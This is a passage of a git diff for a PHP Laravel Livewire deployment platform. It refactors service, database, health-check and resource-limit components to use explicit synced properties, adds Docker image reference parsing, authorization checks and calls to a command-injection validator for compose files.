Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($this->dockerComposeRaw); + $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); diff --git a/app/Livewire/Project/New/DockerImage.php b/app/Livewire/Project/New/DockerImage.php index e105c956a..9d04ca9a5 100644 --- a/app/Livewire/Project/New/DockerImage.php +++ b/app/Livewire/Project/New/DockerImage.php @@ -28,18 +28,60 @@ public function mount() $this->query = request()->query(); } + /** + * Auto-parse image name when user pastes a complete Docker image reference + * Examples: + * - nginx:stable-alpine3.21-perl@sha256:4e272eef... + * - ghcr.io/user/app:v1.2.3 + * - nginx@sha256:abc123... + */ + public function updatedImageName(): void + { + if (empty($this->imageName)) { + return; + } + + // Don't auto-parse if user has already manually filled tag or sha256 fields + if (! empty($this->imageTag) || ! empty($this->imageSha256)) { + return; + } + + // Only auto-parse if the image name contains a tag (:) or digest (@) + if (! str_contains($this->imageName, ':') && ! str_contains($this->imageName, '@')) { + return; + } + + try { + $parser = new DockerImageParser; + $parser->parse($this->imageName); + + // Extract the base image name (without tag/digest) + $baseImageName = $parser->getFullImageNameWithoutTag(); + + // Only update if parsing resulted in different base name + // This prevents unnecessary updates when user types just the name + if ($baseImageName !== $this->imageName) { + if ($parser->isImageHash()) { + // It's a SHA256 digest (takes priority over tag) + $this->imageSha256 = $parser->getTag(); + $this->imageTag = ''; + } elseif ($parser->getTag() !== 'latest' || str_contains($this->imageName, ':')) { + // It's a regular tag (only set if not default 'latest' or explicitly specified) + $this->imageTag = $parser->getTag(); + $this->imageSha256 = ''; + } + + // Update imageName to just the base name + $this->imageName = $baseImageName; + } + } catch (\Exception $e) { + // If parsing fails, leave the image name as-is + // User will see validation error on submit + } + } + public function submit() { - // Strip 'sha256:' prefix if user pasted it - if ($this->imageSha256) { - $this->imageSha256 = preg_replace('/^sha256:/i', '', trim($this->imageSha256)); - } - - // Remove @sha256 from image name if user added it - if ($this->imageName) { - $this->imageName = preg_replace('/@sha256$/i', '', trim($this->imageName)); - } - $this->validate([ 'imageName' => ['required', 'string'], 'imageTag' => ['nullable', 'string', 'regex:/^[a-z0-9][a-z0-9._-]*$/i'], @@ -56,13 +98,16 @@ public function submit() // Build the full Docker image string if ($this->imageSha256) { - $dockerImage = $this->imageName.'@sha256:'.$this->imageSha256; + // Strip 'sha256:' prefix if user pasted it + $sha256Hash = preg_replace('/^sha256:/i', '', trim($this->imageSha256)); + $dockerImage = $this->imageName.'@sha256:'.$sha256Hash; } elseif ($this->imageTag) { $dockerImage = $this->imageName.':'.$this->imageTag; } else { $dockerImage = $this->imageName.':latest'; } + // Parse using DockerImageParser to normalize the image reference $parser = new DockerImageParser; $parser->parse($dockerImage); @@ -79,15 +124,15 @@ public function submit() $project = Project::where('uuid', $this->parameters['project_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); - // Determine the image tag based on whether it's a hash or regular tag - $imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag(); - // Append @sha256 to image name if using digest and not already present $imageName = $parser->getFullImageNameWithoutTag(); if ($parser->isImageHash() && ! str_ends_with($imageName, '@sha256')) { $imageName .= '@sha256'; } + // Determine the image tag based on whether it's a hash or regular tag + $imageTag = $parser->isImageHash() ? 'sha256-'.$parser->getTag() : $parser->getTag(); + $application = Application::create([ 'name' => 'docker-image-'.new Cuid2, 'repository_project_id' => 0, @@ -96,7 +141,7 @@ public function submit() 'build_pack' => 'dockerimage', 'ports_exposes' => 80, 'docker_registry_image_name' => $imageName, - 'docker_registry_image_tag' => $parser->getTag(), + 'docker_registry_image_tag' => $imageTag, 'environment_id' => $environment->id, 'destination_id' => $destination->id, 'destination_type' => $destination_class, diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index 73960d288..cdf95d2e4 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -81,7 +81,7 @@ public function mount() 'destination_id' => $destination->id, 'destination_type' => $destination->getMorphClass(), ]; - if ($oneClickServiceName === 'cloudflared') { + if ($oneClickServiceName === 'cloudflared' || $oneClickServiceName === 'pgadmin') { data_set($service_payload, 'connect_to_docker_network', true); } $service = Service::create($service_payload); diff --git a/app/Livewire/Project/Service/Configuration.php b/app/Livewire/Project/Service/Configuration.php index 559851e3a..2d69ceb12 100644 --- a/app/Livewire/Project/Service/Configuration.php +++ b/app/Livewire/Project/Service/Configuration.php @@ -33,6 +33,8 @@ public function getListeners() return [ "echo-private:team.{$teamId},ServiceChecked" => 'serviceChecked', + 'refreshServices' => 'refreshServices', + 'refresh' => 'refreshServices', ]; } diff --git a/app/Livewire/Project/Service/Database.php b/app/Livewire/Project/Service/Database.php index abf4c45a7..4bcf866d3 100644 --- a/app/Livewire/Project/Service/Database.php +++ b/app/Livewire/Project/Service/Database.php @@ -24,16 +24,30 @@ class Database extends Component public $parameters; + public ?string $humanName = null; + + public ?string $description = null; + + public ?string $image = null; + + public bool $excludeFromStatus = false; + + public ?int $publicPort = null; + + public bool $isPublic = false; + + public bool $isLogDrainEnabled = false; + protected $listeners = ['refreshFileStorages']; protected $rules = [ - 'database.human_name' => 'nullable', - 'database.description' => 'nullable', - 'database.image' => 'required', - 'database.exclude_from_status' => 'required|boolean', - 'database.public_port' => 'nullable|integer', - 'database.is_public' => 'required|boolean', - 'database.is_log_drain_enabled' => 'required|boolean', + 'humanName' => 'nullable', + 'description' => 'nullable', + 'image' => 'required', + 'excludeFromStatus' => 'required|boolean', + 'publicPort' => 'nullable|integer', + 'isPublic' => 'required|boolean', + 'isLogDrainEnabled' => 'required|boolean', ]; public function render() @@ -50,11 +64,33 @@ public function mount() $this->db_url_public = $this->database->getServiceDatabaseUrl(); } $this->refreshFileStorages(); + $this->syncData(false); } catch (\Throwable $e) { return handleError($e, $this); } } + private function syncData(bool $toModel = false): void + { + if ($toModel) { + $this->database->human_name = $this->humanName; + $this->database->description = $this->description; + $this->database->image = $this->image; + $this->database->exclude_from_status = $this->excludeFromStatus; + $this->database->public_port = $this->publicPort; + $this->database->is_public = $this->isPublic; + $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; + } else { + $this->humanName = $this->database->human_name; + $this->description = $this->database->description; + $this->image = $this->database->image; + $this->excludeFromStatus = $this->database->exclude_from_status ?? false; + $this->publicPort = $this->database->public_port; + $this->isPublic = $this->database->is_public ?? false; + $this->isLogDrainEnabled = $this->database->is_log_drain_enabled ?? false; + } + } + public function delete($password) { try { @@ -92,7 +128,7 @@ public function instantSaveLogDrain() try { $this->authorize('update', $this->database); if (! $this->database->service->destination->server->isLogDrainEnabled()) { - $this->database->is_log_drain_enabled = false; + $this->isLogDrainEnabled = false; $this->dispatch('error', 'Log drain is not enabled on the server. Please enable it first.'); return; @@ -145,15 +181,17 @@ public function instantSave() { try { $this->authorize('update', $this->database); - if ($this->database->is_public && ! $this->database->public_port) { + if ($this->isPublic && ! $this->publicPort) { $this->dispatch('error', 'Public port is required.'); - $this->database->is_public = false; + $this->isPublic = false; return; } + $this->syncData(true); if ($this->database->is_public) { if (! str($this->database->status)->startsWith('running')) { $this->dispatch('error', 'Database must be started to be publicly accessible.'); + $this->isPublic = false; $this->database->is_public = false; return; @@ -182,7 +220,10 @@ public function submit() try { $this->authorize('update', $this->database); $this->validate(); + $this->syncData(true); $this->database->save(); + $this->database->refresh(); + $this->syncData(false); updateCompose($this->database); $this->dispatch('success', 'Database saved.'); } catch (\Throwable $e) { diff --git a/app/Livewire/Project/Service/EditCompose.php b/app/Livewire/Project/Service/EditCompose.php index b5f208941..32cf72067 100644 --- a/app/Livewire/Project/Service/EditCompose.php +++ b/app/Livewire/Project/Service/EditCompose.php @@ -11,6 +11,12 @@ class EditCompose extends Component public $serviceId; + public ?string $dockerComposeRaw = null; + + public ?string $dockerCompose = null; + + public bool $isContainerLabelEscapeEnabled = false; + protected $listeners = [ 'refreshEnvs', 'envsUpdated', @@ -18,30 +24,45 @@ class EditCompose extends Component ]; protected $rules = [ - 'service.docker_compose_raw' => 'required', - 'service.docker_compose' => 'required', - 'service.is_container_label_escape_enabled' => 'required', + 'dockerComposeRaw' => 'required', + 'dockerCompose' => 'required', + 'isContainerLabelEscapeEnabled' => 'required', ]; public function envsUpdated() { - $this->dispatch('saveCompose', $this->service->docker_compose_raw); + $this->dispatch('saveCompose', $this->dockerComposeRaw); $this->refreshEnvs(); } public function refreshEnvs() { $this->service = Service::ownedByCurrentTeam()->find($this->serviceId); + $this->syncData(false); } public function mount() { $this->service = Service::ownedByCurrentTeam()->find($this->serviceId); + $this->syncData(false); + } + + private function syncData(bool $toModel = false): void + { + if ($toModel) { + $this->service->docker_compose_raw = $this->dockerComposeRaw; + $this->service->docker_compose = $this->dockerCompose; + $this->service->is_container_label_escape_enabled = $this->isContainerLabelEscapeEnabled; + } else { + $this->dockerComposeRaw = $this->service->docker_compose_raw; + $this->dockerCompose = $this->service->docker_compose; + $this->isContainerLabelEscapeEnabled = $this->service->is_container_label_escape_enabled ?? false; + } } public function validateCompose() { - $isValid = validateComposeFile($this->service->docker_compose_raw, $this->service->server_id); + $isValid = validateComposeFile($this->dockerComposeRaw, $this->service->server_id); if ($isValid !== 'OK') { $this->dispatch('error', "Invalid docker-compose file.\n$isValid"); } else { @@ -52,16 +73,17 @@ public function validateCompose() public function saveEditedCompose() { $this->dispatch('info', 'Saving new docker compose...'); - $this->dispatch('saveCompose', $this->service->docker_compose_raw); + $this->dispatch('saveCompose', $this->dockerComposeRaw); $this->dispatch('refreshStorages'); } public function instantSave() { $this->validate([ - 'service.is_container_label_escape_enabled' => 'required', + 'isContainerLabelEscapeEnabled' => 'required', ]); - $this->service->save(['is_container_label_escape_enabled' => $this->service->is_container_label_escape_enabled]); + $this->syncData(true); + $this->service->save(['is_container_label_escape_enabled' => $this->isContainerLabelEscapeEnabled]); $this->dispatch('success', 'Service updated successfully'); } diff --git a/app/Livewire/Project/Service/EditDomain.php b/app/Livewire/Project/Service/EditDomain.php index 7c718393d..43d885238 100644 --- a/app/Livewire/Project/Service/EditDomain.php +++ b/app/Livewire/Project/Service/EditDomain.php @@ -2,12 +2,14 @@ namespace App\Livewire\Project\Service; +use App\Livewire\Concerns\SynchronizesModelData; use App\Models\ServiceApplication; use Livewire\Component; use Spatie\Url\Url; class EditDomain extends Component { + use SynchronizesModelData; public $applicationId; public ServiceApplication $application; @@ -18,14 +20,24 @@ class EditDomain extends Component public $forceSaveDomains = false; + public ?string $fqdn = null; + protected $rules = [ - 'application.fqdn' => 'nullable', - 'application.required_fqdn' => 'required|boolean', + 'fqdn' => 'nullable', ]; public function mount() { - $this->application = ServiceApplication::find($this->applicationId); + $this->application = ServiceApplication::query()->findOrFail($this->applicationId); + $this->authorize('view', $this->application); + $this->syncFromModel(); + } + + protected function getModelBindings(): array + { + return [ + 'fqdn' => 'application.fqdn', + ]; } public function confirmDomainUsage() @@ -38,19 +50,22 @@ public function confirmDomainUsage() public function submit() { try { - $this->application->fqdn = str($this->application->fqdn)->replaceEnd(',', '')->trim(); - $this->application->fqdn = str($this->application->fqdn)->replaceStart(',', '')->trim(); - $this->application->fqdn = str($this->application->fqdn)->trim()->explode(',')->map(function ($domain) { + $this->authorize('update', $this->application); + $this->fqdn = str($this->fqdn)->replaceEnd(',', '')->trim()->toString(); + $this->fqdn = str($this->fqdn)->replaceStart(',', '')->trim()->toString(); + $domains = str($this->fqdn)->trim()->explode(',')->map(function ($domain) { $domain = trim($domain); Url::fromString($domain, ['http', 'https']); return str($domain)->lower(); }); - $this->application->fqdn = $this->application->fqdn->unique()->implode(','); - $warning = sslipDomainWarning($this->application->fqdn); + $this->fqdn = $domains->unique()->implode(','); + $warning = sslipDomainWarning($this->fqdn); if ($warning) { $this->dispatch('warning', __('warning.sslipdomain')); } + // Sync to model for domain conflict check + $this->syncToModel(); // Check for domain conflicts if not forcing save if (! $this->forceSaveDomains) { $result = checkDomainUsage(resource: $this->application); @@ -67,17 +82,21 @@ public function submit() $this->validate(); $this->application->save(); + $this->application->refresh(); + $this->syncData(false); updateCompose($this->application); if (str($this->application->fqdn)->contains(',')) { $this->dispatch('warning', 'Some services do not support multiple domains, which can lead to problems and is NOT RECOMMENDED.

Only use multiple domains if you know what you are doing.'); } $this->application->service->parse(); $this->dispatch('refresh'); + $this->dispatch('refreshServices'); $this->dispatch('configurationChanged'); } catch (\Throwable $e) { $originalFqdn = $this->application->getOriginal('fqdn'); if ($originalFqdn !== $this->application->fqdn) { $this->application->fqdn = $originalFqdn; + $this->syncData(false); } return handleError($e, $this); diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 7f0caaba3..40539b13e 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -2,6 +2,7 @@ namespace App\Livewire\Project\Service; +use App\Livewire\Concerns\SynchronizesModelData; use App\Models\Application; use App\Models\InstanceSettings; use App\Models\LocalFileVolume; @@ -22,7 +23,7 @@ class FileStorage extends Component { - use AuthorizesRequests; + use AuthorizesRequests, SynchronizesModelData; public LocalFileVolume $fileStorage; @@ -36,12 +37,16 @@ class FileStorage extends Component public bool $isReadOnly = false; + public ?string $content = null; + + public bool $isBasedOnGit = false; + protected $rules = [ 'fileStorage.is_directory' => 'required', 'fileStorage.fs_path' => 'required', 'fileStorage.mount_path' => 'required', - 'fileStorage.content' => 'nullable', - 'fileStorage.is_based_on_git' => 'required|boolean', + 'content' => 'nullable', + 'isBasedOnGit' => 'required|boolean', ]; public function mount() @@ -56,6 +61,15 @@ public function mount() } $this->isReadOnly = $this->fileStorage->isReadOnlyVolume(); + $this->syncFromModel(); + } + + protected function getModelBindings(): array + { + return [ + 'content' => 'fileStorage.content', + 'isBasedOnGit' => 'fileStorage.is_based_on_git', + ]; } public function convertToDirectory() @@ -82,6 +96,7 @@ public function loadStorageOnServer() $this->authorize('update', $this->resource); $this->fileStorage->loadStorageOnServer(); + $this->syncFromModel(); $this->dispatch('success', 'File storage loaded from server.'); } catch (\Throwable $e) { return handleError($e, $this); @@ -148,14 +163,16 @@ public function submit() try { $this->validate(); if ($this->fileStorage->is_directory) { - $this->fileStorage->content = null; + $this->content = null; } + $this->syncToModel(); $this->fileStorage->save(); $this->fileStorage->saveStorageOnServer(); $this->dispatch('success', 'File updated.'); } catch (\Throwable $e) { $this->fileStorage->setRawAttributes($original); $this->fileStorage->save(); + $this->syncFromModel(); return handleError($e, $this); } diff --git a/app/Livewire/Project/Service/ServiceApplicationView.php b/app/Livewire/Project/Service/ServiceApplicationView.php index e37b6ad86..20358218f 100644 --- a/app/Livewire/Project/Service/ServiceApplicationView.php +++ b/app/Livewire/Project/Service/ServiceApplicationView.php @@ -2,6 +2,7 @@ namespace App\Livewire\Project\Service; +use App\Livewire\Concerns\SynchronizesModelData; use App\Models\InstanceSettings; use App\Models\ServiceApplication; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -14,6 +15,7 @@ class ServiceApplicationView extends Component { use AuthorizesRequests; + use SynchronizesModelData; public ServiceApplication $application; @@ -29,16 +31,32 @@ class ServiceApplicationView extends Component public $forceSaveDomains = false; + public ?string $humanName = null; + + public ?string $description = null; + + public ?string $fqdn = null; + + public ?string $image = null; + + public bool $excludeFromStatus = false; + + public bool $isLogDrainEnabled = false; + + public bool $isGzipEnabled = false; + + public bool $isStripprefixEnabled = false; + protected $rules = [ - 'application.human_name' => 'nullable', - 'application.description' => 'nullable', - 'application.fqdn' => 'nullable', - 'application.image' => 'string|nullable', - 'application.exclude_from_status' => 'required|boolean', + 'humanName' => 'nullable', + 'description' => 'nullable', + 'fqdn' => 'nullable', + 'image' => 'string|nullable', + 'excludeFromStatus' => 'required|boolean', 'application.required_fqdn' => 'required|boolean', - 'application.is_log_drain_enabled' => 'nullable|boolean', - 'application.is_gzip_enabled' => 'nullable|boolean', - 'application.is_stripprefix_enabled' => 'nullable|boolean', + 'isLogDrainEnabled' => 'nullable|boolean', + 'isGzipEnabled' => 'nullable|boolean', + 'isStripprefixEnabled' => 'nullable|boolean', ]; public function instantSave() @@ -56,11 +74,12 @@ public function instantSaveAdvanced() try { $this->authorize('update', $this->application); if (! $this->application->service->destination->server->isLogDrainEnabled()) { - $this->application->is_log_drain_enabled = false; + $this->isLogDrainEnabled = false; $this->dispatch('error', 'Log drain is not enabled on the server. Please enable it first.'); return; } + $this->syncToModel(); $this->application->save(); $this->dispatch('success', 'You need to restart the service for the changes to take effect.'); } catch (\Throwable $e) { @@ -95,11 +114,26 @@ public function mount() try { $this->parameters = get_route_parameters(); $this->authorize('view', $this->application); + $this->syncFromModel(); } catch (\Throwable $e) { return handleError($e, $this); } } + protected function getModelBindings(): array + { + return [ + 'humanName' => 'application.human_name', + 'description' => 'application.description', + 'fqdn' => 'application.fqdn', + 'image' => 'application.image', + 'excludeFromStatus' => 'application.exclude_from_status', + 'isLogDrainEnabled' => 'application.is_log_drain_enabled', + 'isGzipEnabled' => 'application.is_gzip_enabled', + 'isStripprefixEnabled' => 'application.is_stripprefix_enabled', + ]; + } + public function convertToDatabase() { try { @@ -146,19 +180,21 @@ public function submit() { try { $this->authorize('update', $this->application); - $this->application->fqdn = str($this->application->fqdn)->replaceEnd(',', '')->trim(); - $this->application->fqdn = str($this->application->fqdn)->replaceStart(',', '')->trim(); - $this->application->fqdn = str($this->application->fqdn)->trim()->explode(',')->map(function ($domain) { + $this->fqdn = str($this->fqdn)->replaceEnd(',', '')->trim()->toString(); + $this->fqdn = str($this->fqdn)->replaceStart(',', '')->trim()->toString(); + $domains = str($this->fqdn)->trim()->explode(',')->map(function ($domain) { $domain = trim($domain); Url::fromString($domain, ['http', 'https']); return str($domain)->lower(); }); - $this->application->fqdn = $this->application->fqdn->unique()->implode(','); - $warning = sslipDomainWarning($this->application->fqdn); + $this->fqdn = $domains->unique()->implode(','); + $warning = sslipDomainWarning($this->fqdn); if ($warning) { $this->dispatch('warning', __('warning.sslipdomain')); } + // Sync to model for domain conflict check + $this->syncToModel(); // Check for domain conflicts if not forcing save if (! $this->forceSaveDomains) { $result = checkDomainUsage(resource: $this->application); @@ -175,6 +211,8 @@ public function submit() $this->validate(); $this->application->save(); + $this->application->refresh(); + $this->syncFromModel(); updateCompose($this->application); if (str($this->application->fqdn)->contains(',')) { $this->dispatch('warning', 'Some services do not support multiple domains, which can lead to problems and is NOT RECOMMENDED.

Only use multiple domains if you know what you are doing.'); @@ -186,6 +224,7 @@ public function submit() $originalFqdn = $this->application->getOriginal('fqdn'); if ($originalFqdn !== $this->application->fqdn) { $this->application->fqdn = $originalFqdn; + $this->syncFromModel(); } return handleError($e, $this); diff --git a/app/Livewire/Project/Service/StackForm.php b/app/Livewire/Project/Service/StackForm.php index 1961a7985..85cd21a7f 100644 --- a/app/Livewire/Project/Service/StackForm.php +++ b/app/Livewire/Project/Service/StackForm.php @@ -15,14 +15,25 @@ class StackForm extends Component protected $listeners = ['saveCompose']; + // Explicit properties + public string $name; + + public ?string $description = null; + + public string $dockerComposeRaw; + + public string $dockerCompose; + + public ?bool $connectToDockerNetwork = null; + protected function rules(): array { $baseRules = [ - 'service.docker_compose_raw' => 'required', - 'service.docker_compose' => 'required', - 'service.name' => ValidationPatterns::nameRules(), - 'service.description' => ValidationPatterns::descriptionRules(), - 'service.connect_to_docker_network' => 'nullable', + 'dockerComposeRaw' => 'required', + 'dockerCompose' => 'required', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'connectToDockerNetwork' => 'nullable', ]; // Add dynamic field rules @@ -39,19 +50,44 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'service.name.required' => 'The Name field is required.', - 'service.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'service.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'service.docker_compose_raw.required' => 'The Docker Compose Raw field is required.', - 'service.docker_compose.required' => 'The Docker Compose field is required.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'dockerComposeRaw.required' => 'The Docker Compose Raw field is required.', + 'dockerCompose.required' => 'The Docker Compose field is required.', ] ); } public $validationAttributes = []; + /** + * Sync data between component properties and model + * + * @param bool $toModel If true, sync FROM properties TO model. If false, sync FROM model TO properties. + */ + private function syncData(bool $toModel = false): void + { + if ($toModel) { + // Sync TO model (before save) + $this->service->name = $this->name; + $this->service->description = $this->description; + $this->service->docker_compose_raw = $this->dockerComposeRaw; + $this->service->docker_compose = $this->dockerCompose; + $this->service->connect_to_docker_network = $this->connectToDockerNetwork; + } else { + // Sync FROM model (on load/refresh) + $this->name = $this->service->name; + $this->description = $this->service->description; + $this->dockerComposeRaw = $this->service->docker_compose_raw; + $this->dockerCompose = $this->service->docker_compose; + $this->connectToDockerNetwork = $this->service->connect_to_docker_network; + } + } + public function mount() { + $this->syncData(false); $this->fields = collect([]); $extraFields = $this->service->extraFields(); foreach ($extraFields as $serviceName => $fields) { @@ -87,12 +123,13 @@ public function mount() public function saveCompose($raw) { - $this->service->docker_compose_raw = $raw; + $this->dockerComposeRaw = $raw; $this->submit(notify: true); } public function instantSave() { + $this->syncData(true); $this->service->save(); $this->dispatch('success', 'Service settings saved.'); } @@ -101,6 +138,11 @@ public function submit($notify = true) { try { $this->validate(); + $this->syncData(true); + + // Validate for command injection BEFORE saving to database + validateDockerComposeForInjection($this->service->docker_compose_raw); + $this->service->save(); $this->service->saveExtraFields($this->fields); $this->service->parse(); diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index c0714fe03..c8029761d 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -2,35 +2,90 @@ namespace App\Livewire\Project\Shared; +use App\Livewire\Concerns\SynchronizesModelData; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; class HealthChecks extends Component { use AuthorizesRequests; + use SynchronizesModelData; public $resource; - protected $rules = [ - 'resource.health_check_enabled' => 'boolean', - 'resource.health_check_path' => 'string', - 'resource.health_check_port' => 'nullable|string', - 'resource.health_check_host' => 'string', - 'resource.health_check_method' => 'string', - 'resource.health_check_return_code' => 'integer', - 'resource.health_check_scheme' => 'string', - 'resource.health_check_response_text' => 'nullable|string', - 'resource.health_check_interval' => 'integer|min:1', - 'resource.health_check_timeout' => 'integer|min:1', - 'resource.health_check_retries' => 'integer|min:1', - 'resource.health_check_start_period' => 'integer', - 'resource.custom_healthcheck_found' => 'boolean', + // Explicit properties + public bool $healthCheckEnabled = false; + public string $healthCheckMethod; + + public string $healthCheckScheme; + + public string $healthCheckHost; + + public ?string $healthCheckPort = null; + + public string $healthCheckPath; + + public int $healthCheckReturnCode; + + public ?string $healthCheckResponseText = null; + + public int $healthCheckInterval; + + public int $healthCheckTimeout; + + public int $healthCheckRetries; + + public int $healthCheckStartPeriod; + + public bool $customHealthcheckFound = false; + + protected $rules = [ + 'healthCheckEnabled' => 'boolean', + 'healthCheckPath' => 'string', + 'healthCheckPort' => 'nullable|string', + 'healthCheckHost' => 'string', + 'healthCheckMethod' => 'string', + 'healthCheckReturnCode' => 'integer', + 'healthCheckScheme' => 'string', + 'healthCheckResponseText' => 'nullable|string', + 'healthCheckInterval' => 'integer|min:1', + 'healthCheckTimeout' => 'integer|min:1', + 'healthCheckRetries' => 'integer|min:1', + 'healthCheckStartPeriod' => 'integer', + 'customHealthcheckFound' => 'boolean', ]; + protected function getModelBindings(): array + { + return [ + 'healthCheckEnabled' => 'resource.health_check_enabled', + 'healthCheckMethod' => 'resource.health_check_method', + 'healthCheckScheme' => 'resource.health_check_scheme', + 'healthCheckHost' => 'resource.health_check_host', + 'healthCheckPort' => 'resource.health_check_port', + 'healthCheckPath' => 'resource.health_check_path', + 'healthCheckReturnCode' => 'resource.health_check_return_code', + 'healthCheckResponseText' => 'resource.health_check_response_text', + 'healthCheckInterval' => 'resource.health_check_interval', + 'healthCheckTimeout' => 'resource.health_check_timeout', + 'healthCheckRetries' => 'resource.health_check_retries', + 'healthCheckStartPeriod' => 'resource.health_check_start_period', + 'customHealthcheckFound' => 'resource.custom_healthcheck_found', + ]; + } + + public function mount() + { + $this->authorize('view', $this->resource); + $this->syncFromModel(); + } + public function instantSave() { $this->authorize('update', $this->resource); + + $this->syncToModel(); $this->resource->save(); $this->dispatch('success', 'Health check updated.'); } @@ -40,6 +95,8 @@ public function submit() try { $this->authorize('update', $this->resource); $this->validate(); + + $this->syncToModel(); $this->resource->save(); $this->dispatch('success', 'Health check updated.'); } catch (\Throwable $e) { @@ -51,14 +108,16 @@ public function toggleHealthcheck() { try { $this->authorize('update', $this->resource); - $wasEnabled = $this->resource->health_check_enabled; - $this->resource->health_check_enabled = ! $this->resource->health_check_enabled; + $wasEnabled = $this->healthCheckEnabled; + $this->healthCheckEnabled = ! $this->healthCheckEnabled; + + $this->syncToModel(); $this->resource->save(); - if ($this->resource->health_check_enabled && ! $wasEnabled && $this->resource->isRunning()) { + if ($this->healthCheckEnabled && ! $wasEnabled && $this->resource->isRunning()) { $this->dispatch('info', 'Health check has been enabled. A restart is required to apply the new settings.'); } else { - $this->dispatch('success', 'Health check '.($this->resource->health_check_enabled ? 'enabled' : 'disabled').'.'); + $this->dispatch('success', 'Health check '.($this->healthCheckEnabled ? 'enabled' : 'disabled').'.'); } } catch (\Throwable $e) { return handleError($e, $this); diff --git a/app/Livewire/Project/Shared/ResourceLimits.php b/app/Livewire/Project/Shared/ResourceLimits.php index 196badec8..0b3840289 100644 --- a/app/Livewire/Project/Shared/ResourceLimits.php +++ b/app/Livewire/Project/Shared/ResourceLimits.php @@ -11,52 +11,105 @@ class ResourceLimits extends Component public $resource; + // Explicit properties + public ?string $limitsCpus = null; + + public ?string $limitsCpuset = null; + + public ?int $limitsCpuShares = null; + + public string $limitsMemory; + + public string $limitsMemorySwap; + + public int $limitsMemorySwappiness; + + public string $limitsMemoryReservation; + protected $rules = [ - 'resource.limits_memory' => 'required|string', - 'resource.limits_memory_swap' => 'required|string', - 'resource.limits_memory_swappiness' => 'required|integer|min:0|max:100', - 'resource.limits_memory_reservation' => 'required|string', - 'resource.limits_cpus' => 'nullable', - 'resource.limits_cpuset' => 'nullable', - 'resource.limits_cpu_shares' => 'nullable', + 'limitsMemory' => 'required|string', + 'limitsMemorySwap' => 'required|string', + 'limitsMemorySwappiness' => 'required|integer|min:0|max:100', + 'limitsMemoryReservation' => 'required|string', + 'limitsCpus' => 'nullable', + 'limitsCpuset' => 'nullable', + 'limitsCpuShares' => 'nullable', ]; protected $validationAttributes = [ - 'resource.limits_memory' => 'memory', - 'resource.limits_memory_swap' => 'swap', - 'resource.limits_memory_swappiness' => 'swappiness', - 'resource.limits_memory_reservation' => 'reservation', - 'resource.limits_cpus' => 'cpus', - 'resource.limits_cpuset' => 'cpuset', - 'resource.limits_cpu_shares' => 'cpu shares', + 'limitsMemory' => 'memory', + 'limitsMemorySwap' => 'swap', + 'limitsMemorySwappiness' => 'swappiness', + 'limitsMemoryReservation' => 'reservation', + 'limitsCpus' => 'cpus', + 'limitsCpuset' => 'cpuset', + 'limitsCpuShares' => 'cpu shares', ]; + /** + * Sync data between component properties and model + * + * @param bool $toModel If true, sync FROM properties TO model. If false, sync FROM model TO properties. + */ + private function syncData(bool $toModel = false): void + { + if ($toModel) { + // Sync TO model (before save) + $this->resource->limits_cpus = $this->limitsCpus; + $this->resource->limits_cpuset = $this->limitsCpuset; + $this->resource->limits_cpu_shares = $this->limitsCpuShares; + $this->resource->limits_memory = $this->limitsMemory; + $this->resource->limits_memory_swap = $this->limitsMemorySwap; + $this->resource->limits_memory_swappiness = $this->limitsMemorySwappiness; + $this->resource->limits_memory_reservation = $this->limitsMemoryReservation; + } else { + // Sync FROM model (on load/refresh) + $this->limitsCpus = $this->resource->limits_cpus; + $this->limitsCpuset = $this->resource->limits_cpuset; + $this->limitsCpuShares = $this->resource->limits_cpu_shares; + $this->limitsMemory = $this->resource->limits_memory; + $this->limitsMemorySwap = $this->resource->limits_memory_swap; + $this->limitsMemorySwappiness = $this->resource->limits_memory_swappiness; + $this->limitsMemoryReservation = $this->resource->limits_memory_reservation; + } + } + + public function mount() + { + $this->syncData(false); + } + public function submit() { try { $this->authorize('update', $this->resource); - if (! $this->resource->limits_memory) { - $this->resource->limits_memory = '0'; + + // Apply default values to properties + if (! $this->limitsMemory) { + $this->limitsMemory = '0'; } - if (! $this->resource->limits_memory_swap) { - $this->resource->limits_memory_swap = '0'; + if (! $this->limitsMemorySwap) { + $this->limitsMemorySwap = '0'; } - if (is_null($this->resource->limits_memory_swappiness)) { - $this->resource->limits_memory_swappiness = '60'; + if (is_null($this->limitsMemorySwappiness)) { + $this->limitsMemorySwappiness = 60; } - if (! $this->resource->limits_memory_reservation) { - $this->resource->limits_memory_reservation = '0'; + if (! $this->limitsMemoryReservation) { + $this->limitsMemoryReservation = '0'; } - if (! $this->resource->limits_cpus) { - $this->resource->limits_cpus = '0'; + if (! $this->limitsCpus) { + $this->limitsCpus = '0'; } - if ($this->resource->limits_cpuset === '') { - $this->resource->limits_cpuset = null; + if 